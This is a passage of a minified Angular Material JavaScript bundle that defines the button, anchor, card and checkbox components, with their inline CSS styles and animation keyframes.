.mat-button-focus-overlay{top:-1px;left:-1px;right:-1px;bottom:-1px}.mat-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:56px;height:56px;padding:0;flex-shrink:0}.mat-fab::-moz-focus-inner{border:0}.mat-fab.mat-button-disabled{cursor:default}.mat-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-fab::-moz-focus-inner{border:0}.mat-fab._mat-animation-noopable{transition:none !important;animation:none !important}.mat-fab .mat-button-wrapper{padding:16px 0;display:inline-block;line-height:24px}.mat-mini-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:40px;height:40px;padding:0;flex-shrink:0}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab.mat-button-disabled{cursor:default}.mat-mini-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-mini-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab._mat-animation-noopable{transition:none !important;animation:none !important}.mat-mini-fab .mat-button-wrapper{padding:8px 0;display:inline-block;line-height:24px}.mat-icon-button{padding:0;min-width:0;width:40px;height:40px;flex-shrink:0;line-height:40px;border-radius:50%}.mat-icon-button i,.mat-icon-button .mat-icon{line-height:24px}.mat-button-ripple.mat-ripple,.mat-button-focus-overlay{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none;border-radius:inherit}.mat-button-ripple.mat-ripple:not(:empty){transform:translateZ(0)}.mat-button-focus-overlay{opacity:0;transition:opacity 200ms cubic-bezier(0.35, 0, 0.25, 1),background-color 200ms cubic-bezier(0.35, 0, 0.25, 1)}._mat-animation-noopable .mat-button-focus-overlay{transition:none}.mat-button-ripple-round{border-radius:50%;z-index:1}.mat-button .mat-button-wrapper>*,.mat-flat-button .mat-button-wrapper>*,.mat-stroked-button .mat-button-wrapper>*,.mat-raised-button .mat-button-wrapper>*,.mat-icon-button .mat-button-wrapper>*,.mat-fab .mat-button-wrapper>*,.mat-mini-fab .mat-button-wrapper>*{vertical-align:middle}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon-button,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon-button{display:inline-flex;justify-content:center;align-items:center;font-size:inherit;width:2.5em;height:2.5em}.mat-flat-button::before,.mat-raised-button::before,.mat-fab::before,.mat-mini-fab::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 2px) * -1)}.mat-stroked-button::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 3px) * -1)}.cdk-high-contrast-active .mat-button,.cdk-high-contrast-active .mat-flat-button,.cdk-high-contrast-active .mat-raised-button,.cdk-high-contrast-active .mat-icon-button,.cdk-high-contrast-active .mat-fab,.cdk-high-contrast-active .mat-mini-fab{outline:solid 1px}"],encapsulation:2,changeDetection:0}),H})(),C=(()=>{class H extends g{constructor(U,G,Q,oe){super(G,U,Q),this._ngZone=oe,this._haltDisabledEvents=Ce=>{this.disabled&&(Ce.preventDefault(),Ce.stopImmediatePropagation())}}ngAfterViewInit(){super.ngAfterViewInit(),this._ngZone?this._ngZone.runOutsideAngular(()=>{this._elementRef.nativeElement.addEventListener("click",this._haltDisabledEvents)}):this._elementRef.nativeElement.addEventListener("click",this._haltDisabledEvents)}ngOnDestroy(){super.ngOnDestroy(),this._elementRef.nativeElement.removeEventListener("click",this._haltDisabledEvents)}}return H.\\u0275fac=function(U){return new(U||H)(n.Y36(s.tE),n.Y36(n.SBq),n.Y36(n.QbO,8),n.Y36(n.R0b,8))},H.\\u0275cmp=n.Xpm({type:H,selectors:[["a","mat-button",""],["a","mat-raised-button",""],["a","mat-icon-button",""],["a","mat-fab",""],["a","mat-mini-fab",""],["a","mat-stroked-button",""],["a","mat-flat-button",""]],hostAttrs:[1,"mat-focus-indicator"],hostVars:7,hostBindings:function(U,G){2&U&&(n.uIk("tabindex",G.disabled?-1:G.tabIndex)("disabled",G.disabled||null)("aria-disabled",G.disabled.toString()),n.ekj("_mat-animation-noopable","NoopAnimations"===G._animationMode)("mat-button-disabled",G.disabled))},inputs:{disabled:"disabled",disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex"},exportAs:["matButton","matAnchor"],features:[n.qOj],attrs:u,ngContentSelectors:c,decls:4,vars:5,consts:[[1,"mat-button-wrapper"],["matRipple","",1,"mat-button-ripple",3,"matRippleDisabled","matRippleCentered","matRippleTrigger"],[1,"mat-button-focus-overlay"]],template:function(U,G){1&U&&(n.F$t(),n.TgZ(0,"span",0),n.Hsn(1),n.qZA(),n._UZ(2,"span",1)(3,"span",2)),2&U&&(n.xp6(2),n.ekj("mat-button-ripple-round",G.isRoundButton||G.isIconButton),n.Q6J("matRippleDisabled",G._isRippleDisabled())("matRippleCentered",G.isIconButton)("matRippleTrigger",G._getHostElement()))},dependencies:[a.wG],styles:[".mat-button .mat-button-focus-overlay,.mat-icon-button .mat-button-focus-overlay{opacity:0}.mat-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay,.mat-stroked-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay{opacity:.04}@media(hover: none){.mat-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay,.mat-stroked-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay{opacity:0}}.mat-button,.mat-icon-button,.mat-stroked-button,.mat-flat-button{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible}.mat-button::-moz-focus-inner,.mat-icon-button::-moz-focus-inner,.mat-stroked-button::-moz-focus-inner,.mat-flat-button::-moz-focus-inner{border:0}.mat-button.mat-button-disabled,.mat-icon-button.mat-button-disabled,.mat-stroked-button.mat-button-disabled,.mat-flat-button.mat-button-disabled{cursor:default}.mat-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-button.cdk-program-focused .mat-button-focus-overlay,.mat-icon-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-icon-button.cdk-program-focused .mat-button-focus-overlay,.mat-stroked-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-stroked-button.cdk-program-focused .mat-button-focus-overlay,.mat-flat-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-flat-button.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-button::-moz-focus-inner,.mat-icon-button::-moz-focus-inner,.mat-stroked-button::-moz-focus-inner,.mat-flat-button::-moz-focus-inner{border:0}.mat-raised-button{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1)}.mat-raised-button::-moz-focus-inner{border:0}.mat-raised-button.mat-button-disabled{cursor:default}.mat-raised-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-raised-button.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-raised-button::-moz-focus-inner{border:0}.mat-raised-button._mat-animation-noopable{transition:none !important;animation:none !important}.mat-stroked-button{border:1px solid currentColor;padding:0 15px;line-height:34px}.mat-stroked-button .mat-button-ripple.mat-ripple,.mat-stroked-button .mat-button-focus-overlay{top:-1px;left:-1px;right:-1px;bottom:-1px}.mat-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:56px;height:56px;padding:0;flex-shrink:0}.mat-fab::-moz-focus-inner{border:0}.mat-fab.mat-button-disabled{cursor:default}.mat-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-fab::-moz-focus-inner{border:0}.mat-fab._mat-animation-noopable{transition:none !important;animation:none !important}.mat-fab .mat-button-wrapper{padding:16px 0;display:inline-block;line-height:24px}.mat-mini-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:40px;height:40px;padding:0;flex-shrink:0}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab.mat-button-disabled{cursor:default}.mat-mini-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-mini-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab._mat-animation-noopable{transition:none !important;animation:none !important}.mat-mini-fab .mat-button-wrapper{padding:8px 0;display:inline-block;line-height:24px}.mat-icon-button{padding:0;min-width:0;width:40px;height:40px;flex-shrink:0;line-height:40px;border-radius:50%}.mat-icon-button i,.mat-icon-button .mat-icon{line-height:24px}.mat-button-ripple.mat-ripple,.mat-button-focus-overlay{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none;border-radius:inherit}.mat-button-ripple.mat-ripple:not(:empty){transform:translateZ(0)}.mat-button-focus-overlay{opacity:0;transition:opacity 200ms cubic-bezier(0.35, 0, 0.25, 1),background-color 200ms cubic-bezier(0.35, 0, 0.25, 1)}._mat-animation-noopable .mat-button-focus-overlay{transition:none}.mat-button-ripple-round{border-radius:50%;z-index:1}.mat-button .mat-button-wrapper>*,.mat-flat-button .mat-button-wrapper>*,.mat-stroked-button .mat-button-wrapper>*,.mat-raised-button .mat-button-wrapper>*,.mat-icon-button .mat-button-wrapper>*,.mat-fab .mat-button-wrapper>*,.mat-mini-fab .mat-button-wrapper>*{vertical-align:middle}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon-button,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon-button{display:inline-flex;justify-content:center;align-items:center;font-size:inherit;width:2.5em;height:2.5em}.mat-flat-button::before,.mat-raised-button::before,.mat-fab::before,.mat-mini-fab::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 2px) * -1)}.mat-stroked-button::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 3px) * -1)}.cdk-high-contrast-active .mat-button,.cdk-high-contrast-active .mat-flat-button,.cdk-high-contrast-active .mat-raised-button,.cdk-high-contrast-active .mat-icon-button,.cdk-high-contrast-active .mat-fab,.cdk-high-contrast-active .mat-mini-fab{outline:solid 1px}"],encapsulation:2,changeDetection:0}),H})(),z=(()=>{class H{}return H.\\u0275fac=function(U){return new(U||H)},H.\\u0275mod=n.oAB({type:H}),H.\\u0275inj=n.cJS({imports:[a.si,a.BQ,a.BQ]}),H})()},3546:(At,ae,d)=>{"use strict";d.d(ae,{$j:()=>C,G2:()=>j,QW:()=>ee,a8:()=>k,dk:()=>K,dn:()=>S,n5:()=>g});var n=d(4650),a=d(3238);const s=["*",[["mat-card-footer"]]],u=["*","mat-card-footer"],c=[[["","mat-card-avatar",""],["","matCardAvatar",""]],[["mat-card-title"],["mat-card-subtitle"],["","mat-card-title",""],["","mat-card-subtitle",""],["","matCardTitle",""],["","matCardSubtitle",""]],"*"],f=["[mat-card-avatar], [matCardAvatar]","mat-card-title, mat-card-subtitle,\\n [mat-card-title], [mat-card-subtitle],\\n [matCardTitle], [matCardSubtitle]","*"];let S=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275dir=n.lG2({type:q,selectors:[["mat-card-content"],["","mat-card-content",""],["","matCardContent",""]],hostAttrs:[1,"mat-card-content"]}),q})(),g=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275dir=n.lG2({type:q,selectors:[["mat-card-title"],["","mat-card-title",""],["","matCardTitle",""]],hostAttrs:[1,"mat-card-title"]}),q})(),C=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275dir=n.lG2({type:q,selectors:[["mat-card-subtitle"],["","mat-card-subtitle",""],["","matCardSubtitle",""]],hostAttrs:[1,"mat-card-subtitle"]}),q})(),j=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275dir=n.lG2({type:q,selectors:[["","mat-card-image",""],["","matCardImage",""]],hostAttrs:[1,"mat-card-image"]}),q})(),k=(()=>{class q{constructor(ce){this._animationMode=ce}}return q.\\u0275fac=function(ce){return new(ce||q)(n.Y36(n.QbO,8))},q.\\u0275cmp=n.Xpm({type:q,selectors:[["mat-card"]],hostAttrs:[1,"mat-card","mat-focus-indicator"],hostVars:2,hostBindings:function(ce,je){2&ce&&n.ekj("_mat-animation-noopable","NoopAnimations"===je._animationMode)},exportAs:["matCard"],ngContentSelectors:u,decls:2,vars:0,template:function(ce,je){1&ce&&(n.F$t(s),n.Hsn(0),n.Hsn(1,1))},styles:[".mat-card{transition:box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);display:block;position:relative;padding:16px;border-radius:4px}.mat-card._mat-animation-noopable{transition:none !important;animation:none !important}.mat-card>.mat-divider-horizontal{position:absolute;left:0;width:100%}[dir=rtl] .mat-card>.mat-divider-horizontal{left:auto;right:0}.mat-card>.mat-divider-horizontal.mat-divider-inset{position:static;margin:0}[dir=rtl] .mat-card>.mat-divider-horizontal.mat-divider-inset{margin-right:0}.cdk-high-contrast-active .mat-card{outline:solid 1px}.mat-card-actions,.mat-card-subtitle,.mat-card-content{display:block;margin-bottom:16px}.mat-card-title{display:block;margin-bottom:8px}.mat-card-actions{margin-left:-8px;margin-right:-8px;padding:8px 0}.mat-card-actions-align-end{display:flex;justify-content:flex-end}.mat-card-image{width:calc(100% + 32px);margin:0 -16px 16px -16px;display:block;overflow:hidden}.mat-card-image img{width:100%}.mat-card-footer{display:block;margin:0 -16px -16px -16px}.mat-card-actions .mat-button,.mat-card-actions .mat-raised-button,.mat-card-actions .mat-stroked-button{margin:0 8px}.mat-card-header{display:flex;flex-direction:row}.mat-card-header .mat-card-title{margin-bottom:12px}.mat-card-header-text{margin:0 16px}.mat-card-avatar{height:40px;width:40px;border-radius:50%;flex-shrink:0;object-fit:cover}.mat-card-title-group{display:flex;justify-content:space-between}.mat-card-sm-image{width:80px;height:80px}.mat-card-md-image{width:112px;height:112px}.mat-card-lg-image{width:152px;height:152px}.mat-card-xl-image{width:240px;height:240px;margin:-8px}.mat-card-title-group>.mat-card-xl-image{margin:-8px 0 8px}@media(max-width: 599px){.mat-card-title-group{margin:0}.mat-card-xl-image{margin-left:0;margin-right:0}}.mat-card>:first-child,.mat-card-content>:first-child{margin-top:0}.mat-card>:last-child:not(.mat-card-footer),.mat-card-content>:last-child:not(.mat-card-footer){margin-bottom:0}.mat-card-image:first-child{margin-top:-16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.mat-card>.mat-card-actions:last-child{margin-bottom:-8px;padding-bottom:0}.mat-card-actions:not(.mat-card-actions-align-end) .mat-button:first-child,.mat-card-actions:not(.mat-card-actions-align-end) .mat-raised-button:first-child,.mat-card-actions:not(.mat-card-actions-align-end) .mat-stroked-button:first-child{margin-left:0;margin-right:0}.mat-card-actions-align-end .mat-button:last-child,.mat-card-actions-align-end .mat-raised-button:last-child,.mat-card-actions-align-end .mat-stroked-button:last-child{margin-left:0;margin-right:0}.mat-card-title:not(:first-child),.mat-card-subtitle:not(:first-child){margin-top:-4px}.mat-card-header .mat-card-subtitle:not(:first-child){margin-top:-8px}.mat-card>.mat-card-xl-image:first-child{margin-top:-8px}.mat-card>.mat-card-xl-image:last-child{margin-bottom:-8px}"],encapsulation:2,changeDetection:0}),q})(),K=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275cmp=n.Xpm({type:q,selectors:[["mat-card-header"]],hostAttrs:[1,"mat-card-header"],ngContentSelectors:f,decls:4,vars:0,consts:[[1,"mat-card-header-text"]],template:function(ce,je){1&ce&&(n.F$t(c),n.Hsn(0),n.TgZ(1,"div",0),n.Hsn(2,1),n.qZA(),n.Hsn(3,2))},encapsulation:2,changeDetection:0}),q})(),ee=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275mod=n.oAB({type:q}),q.\\u0275inj=n.cJS({imports:[a.BQ,a.BQ]}),q})()},6709:(At,ae,d)=>{"use strict";d.d(ae,{oG:()=>Ce,p9:()=>ee});var n=d(2687),a=d(1281),s=d(4650),u=d(4006),c=d(3238),f=d(9643);const E=["input"],_=["label"],S=function(q){return{enterDuration:q}},g=["*"],C=new s.OlP("mat-checkbox-default-options",{providedIn:"root",factory:z});function z(){return{color:"accent",clickAction:"check-indeterminate"}}let H=0;const j=z(),U={provide:u.JU,useExisting:(0,s.Gpc)(()=>Ce),multi:!0};class G{}const Q=(0,c.sb)((0,c.pj)((0,c.Kr)((0,c.Id)(class{constructor(q){this._elementRef=q}}))));let oe=(()=>{class q extends Q{constructor(ce,je,Ze,le,Oe,Qe,Ye){super(je),this._changeDetectorRef=Ze,this._ngZone=le,this._animationMode=Qe,this._options=Ye,this.ariaLabel="",this.ariaLabelledby=null,this.labelPosition="after",this.name=null,this.change=new s.vpe,this.indeterminateChange=new s.vpe,this._onTouched=()=>{},this._currentAnimationClass="",this._currentCheckState=0,this._controlValueAccessorChangeFn=()=>{},this._checked=!1,this._disabled=!1,this._indeterminate=!1,this._options=this._options||j,this.color=this.defaultColor=this._options.color||j.color,this.tabIndex=parseInt(Oe)||0,this.id=this._uniqueId=`${ce}${++H}`}get inputId(){return`${this.id||this._uniqueId}-input`}get required(){return this._required}set required(ce){this._required=(0,a.Ig)(ce)}ngAfterViewInit(){this._syncIndeterminate(this._indeterminate)}get checked(){return this._checked}set checked(ce){const je=(0,a.Ig)(ce);je!=this.checked&&(this._checked=je,this._changeDetectorRef.markForCheck())}get disabled(){return this._disabled}set disabled(ce){const je=(0,a.Ig)(ce);je!==this.disabled&&(this._disabled=je,this._changeDetectorRef.markForCheck())}get indeterminate(){return this._indeterminate}set indeterminate(ce){const je=ce!=this._indeterminate;this._indeterminate=(0,a.Ig)(ce),je&&(this._transitionCheckState(this._indeterminate?3:this.checked?1:2),this.indeterminateChange.emit(this._indeterminate)),this._syncIndeterminate(this._indeterminate)}_isRippleDisabled(){return this.disableRipple||this.disabled}_onLabelTextChange(){this._changeDetectorRef.detectChanges()}writeValue(ce){this.checked=!!ce}registerOnChange(ce){this._controlValueAccessorChangeFn=ce}registerOnTouched(ce){this._onTouched=ce}setDisabledState(ce){this.disabled=ce}_getAriaChecked(){return this.checked?"true":this.indeterminate?"mixed":"false"}_transitionCheckState(ce){let je=this._currentCheckState,Ze=this._getAnimationTargetElement();if(je!==ce&&Ze&&(this._currentAnimationClass&&Ze.classList.remove(this._currentAnimationClass),this._currentAnimationClass=this._getAnimationClassForCheckStateTransition(je,ce),this._currentCheckState=ce,this._currentAnimationClass.length>0)){Ze.classList.add(this._currentAnimationClass);const le=this._currentAnimationClass;this._ngZone.runOutsideAngular(()=>{setTimeout(()=>{Ze.classList.remove(le)},1e3)})}}_emitChangeEvent(){this._controlValueAccessorChangeFn(this.checked),this.change.emit(this._createChangeEvent(this.checked)),this._inputElement&&(this._inputElement.nativeElement.checked=this.checked)}toggle(){this.checked=!this.checked,this._controlValueAccessorChangeFn(this.checked)}_handleInputClick(){const ce=this._options?.clickAction;this.disabled||"noop"===ce?!this.disabled&&"noop"===ce&&(this._inputElement.nativeElement.checked=this.checked,this._inputElement.nativeElement.indeterminate=this.indeterminate):(this.indeterminate&&"check"!==ce&&Promise.resolve().then(()=>{this._indeterminate=!1,this.indeterminateChange.emit(this._indeterminate)}),this._checked=!this._checked,this._transitionCheckState(this._checked?1:2),this._emitChangeEvent())}_onInteractionEvent(ce){ce.stopPropagation()}_onBlur(){Promise.resolve().then(()=>{this._onTouched(),this._changeDetectorRef.markForCheck()})}_getAnimationClassForCheckStateTransition(ce,je){if("NoopAnimations"===this._animationMode)return"";switch(ce){case 0:if(1===je)return this._animationClasses.uncheckedToChecked;if(3==je)return this._checked?this._animationClasses.checkedToIndeterminate:this._animationClasses.uncheckedToIndeterminate;break;case 2:return 1===je?this._animationClasses.uncheckedToChecked:this._animationClasses.uncheckedToIndeterminate;case 1:return 2===je?this._animationClasses.checkedToUnchecked:this._animationClasses.checkedToIndeterminate;case 3:return 1===je?this._animationClasses.indeterminateToChecked:this._animationClasses.indeterminateToUnchecked}return""}_syncIndeterminate(ce){const je=this._inputElement;je&&(je.nativeElement.indeterminate=ce)}}return q.\\u0275fac=function(ce){s.$Z()},q.\\u0275dir=s.lG2({type:q,viewQuery:function(ce,je){if(1&ce&&(s.Gf(E,5),s.Gf(_,5),s.Gf(c.wG,5)),2&ce){let Ze;s.iGM(Ze=s.CRH())&&(je._inputElement=Ze.first),s.iGM(Ze=s.CRH())&&(je._labelElement=Ze.first),s.iGM(Ze=s.CRH())&&(je.ripple=Ze.first)}},inputs:{ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],ariaDescribedby:["aria-describedby","ariaDescribedby"],id:"id",required:"required",labelPosition:"labelPosition",name:"name",value:"value",checked:"checked",disabled:"disabled",indeterminate:"indeterminate"},outputs:{change:"change",indeterminateChange:"indeterminateChange"},features:[s.qOj]}),q})(),Ce=(()=>{class q extends oe{constructor(ce,je,Ze,le,Oe,Qe,Ye){super("mat-checkbox-",ce,je,le,Oe,Qe,Ye),this._focusMonitor=Ze,this._animationClasses={uncheckedToChecked:"mat-checkbox-anim-unchecked-checked",uncheckedToIndeterminate:"mat-checkbox-anim-unchecked-indeterminate",checkedToUnchecked:"mat-checkbox-anim-checked-unchecked",checkedToIndeterminate:"mat-checkbox-anim-checked-indeterminate",indeterminateToChecked:"mat-checkbox-anim-indeterminate-checked",indeterminateToUnchecked:"mat-checkbox-anim-indeterminate-unchecked"}}_createChangeEvent(ce){const je=new G;return je.source=this,je.checked=ce,je}_getAnimationTargetElement(){return this._elementRef.nativeElement}ngAfterViewInit(){super.ngAfterViewInit(),this._focusMonitor.monitor(this._elementRef,!0).subscribe(ce=>{ce||this._onBlur()})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef)}_onInputClick(ce){ce.stopPropagation(),super._handleInputClick()}focus(ce,je){ce?this._focusMonitor.focusVia(this._inputElement,ce,je):this._inputElement.nativeElement.focus(je)}}return q.\\u0275fac=function(ce){return new(ce||q)(s.Y36(s.SBq),s.Y36(s.sBO),s.Y36(n.tE),s.Y36(s.R0b),s.$8M("tabindex"),s.Y36(s.QbO,8),s.Y36(C,8))},q.\\u0275cmp=s.Xpm({type:q,selectors:[["mat-checkbox"]],hostAttrs:[1,"mat-checkbox"],hostVars:14,hostBindings:function(ce,je){2&ce&&(s.Ikx("id",je.id),s.uIk("tabindex",null)("aria-label",null)("aria-labelledby",null),s.ekj("mat-checkbox-indeterminate",je.indeterminate)("mat-checkbox-checked",je.checked)("mat-checkbox-disabled",je.disabled)("mat-checkbox-label-before","before"==je.labelPosition)("_mat-animation-noopable","NoopAnimations"===je._animationMode))},inputs:{disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex"},exportAs:["matCheckbox"],features:[s._Bn([U]),s.qOj],ngContentSelectors:g,decls:17,vars:21,consts:[[1,"mat-checkbox-layout"],["label",""],[1,"mat-checkbox-inner-container"],["type","checkbox",1,"mat-checkbox-input","cdk-visually-hidden",3,"id","required","checked","disabled","tabIndex","change","click"],["input",""],["matRipple","",1,"mat-checkbox-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleRadius","matRippleCentered","matRippleAnimation"],[1,"mat-ripple-element","mat-checkbox-persistent-ripple"],[1,"mat-checkbox-frame"],[1,"mat-checkbox-background"],["version","1.1","focusable","false","viewBox","0 0 24 24","aria-hidden","true",1,"mat-checkbox-checkmark"],["fill","none","stroke","white","d","M4.1,12.7 9,17.6 20.3,6.3",1,"mat-checkbox-checkmark-path"],[1,"mat-checkbox-mixedmark"],[1,"mat-checkbox-label",3,"cdkObserveContent"],["checkboxLabel",""],[2,"display","none"]],template:function(ce,je){if(1&ce&&(s.F$t(),s.TgZ(0,"label",0,1)(2,"span",2)(3,"input",3,4),s.NdJ("change",function(le){return je._onInteractionEvent(le)})("click",function(le){return je._onInputClick(le)}),s.qZA(),s.TgZ(5,"span",5),s._UZ(6,"span",6),s.qZA(),s._UZ(7,"span",7),s.TgZ(8,"span",8),s.O4$(),s.TgZ(9,"svg",9),s._UZ(10,"path",10),s.qZA(),s.kcU(),s._UZ(11,"span",11),s.qZA()(),s.TgZ(12,"span",12,13),s.NdJ("cdkObserveContent",function(){return je._onLabelTextChange()}),s.TgZ(14,"span",14),s._uU(15,"\\xa0"),s.qZA(),s.Hsn(16),s.qZA()()),2&ce){const Ze=s.MAs(1),le=s.MAs(13);s.uIk("for",je.inputId),s.xp6(2),s.ekj("mat-checkbox-inner-container-no-side-margin",!le.textContent||!le.textContent.trim()),s.xp6(1),s.Q6J("id",je.inputId)("required",je.required)("checked",je.checked)("disabled",je.disabled)("tabIndex",je.tabIndex),s.uIk("value",je.value)("name",je.name)("aria-label",je.ariaLabel||null)("aria-labelledby",je.ariaLabelledby)("aria-checked",je._getAriaChecked())("aria-describedby",je.ariaDescribedby),s.xp6(2),s.Q6J("matRippleTrigger",Ze)("matRippleDisabled",je._isRippleDisabled())("matRippleRadius",20)("matRippleCentered",!0)("matRippleAnimation",s.VKq(19,S,"NoopAnimations"===je._animationMode?0:150))}},dependencies:[c.wG,f.wD],styles:[\'@keyframes mat-checkbox-fade-in-background{0%{opacity:0}50%{opacity:1}}@keyframes mat-checkbox-fade-out-background{0%,50%{opacity:1}100%{opacity:0}}@keyframes mat-checkbox-unchecked-checked-checkmark-path{0%,50%{stroke-dashoffset:22.910259}50%{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1)}100%{stroke-dashoffset:0}}@keyframes mat-checkbox-unchecked-indeterminate-mixedmark{0%,68.2%{transform:scaleX(0)}68.2%{animation-timing-function:cubic-bezier(0, 0, 0, 1)}100%{transform:scaleX(1)}}@keyframes mat-checkbox-checked-unchecked-checkmark-path{from{animation-timing-function:cubic-bezier(0.4, 0, 1, 1);stroke-dashoffset:0}to{stroke-dashoffset:-22.910259}}@keyframes mat-checkbox-checked-indeterminate-checkmark{from{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1);opacity:1;transform:rotate(0deg)}to{opacity:0;transform:rotate(45deg)}}@keyframes mat-checkbox-indeterminate-checked-checkmark{from{animation-timing-function:cubic-bezier(0.14, 0, 0, 1);opacity:0;transform:rotate(45deg)}to{opacity:1;transform:rotate(360deg)}}@keyframes mat-checkbox-checked-indeterminate-mixedmark{from{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1);opacity:0;transform:rotate(-45deg)}to{opacity:1;transform:rotate(0deg)}}@keyframes mat-checkbox-indeterminate-checked-mixedmark{from{animation-timing-function:cubic-bezier(0.14, 0, 0, 1);opacity:1;transform:rotate(0deg)}to{opacity:0;transform:rotate(315deg)}}@keyframes mat-checkbox-indeterminate-unchecked-mixedmark{0%{animation-timing-function:linear;opacity:1;transform:scaleX(1)}32.8%,100%{opacity:0;transform:scaleX(0)}}.mat-checkbox-background,.mat-checkbox-frame{top:0;left:0;right:0;bottom:0;position:absolute;border-radius:2px;box-sizing:border-box;pointer-events:none}.mat-checkbox{display:inline-block;transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);cursor:pointer;-webkit-tap-highlight-color:rgba(0,0,0,0);position:relative}.mat-checkbox._mat-animation-noopable{transition:none !important;animation:none !important}.mat-checkbox .mat-ripple-element:not(.mat-checkbox-persistent-ripple){opacity:.16}.mat-checkbox .mat-checkbox-ripple{position:absolute;left:calc(50% - 20px);top:calc(50% - 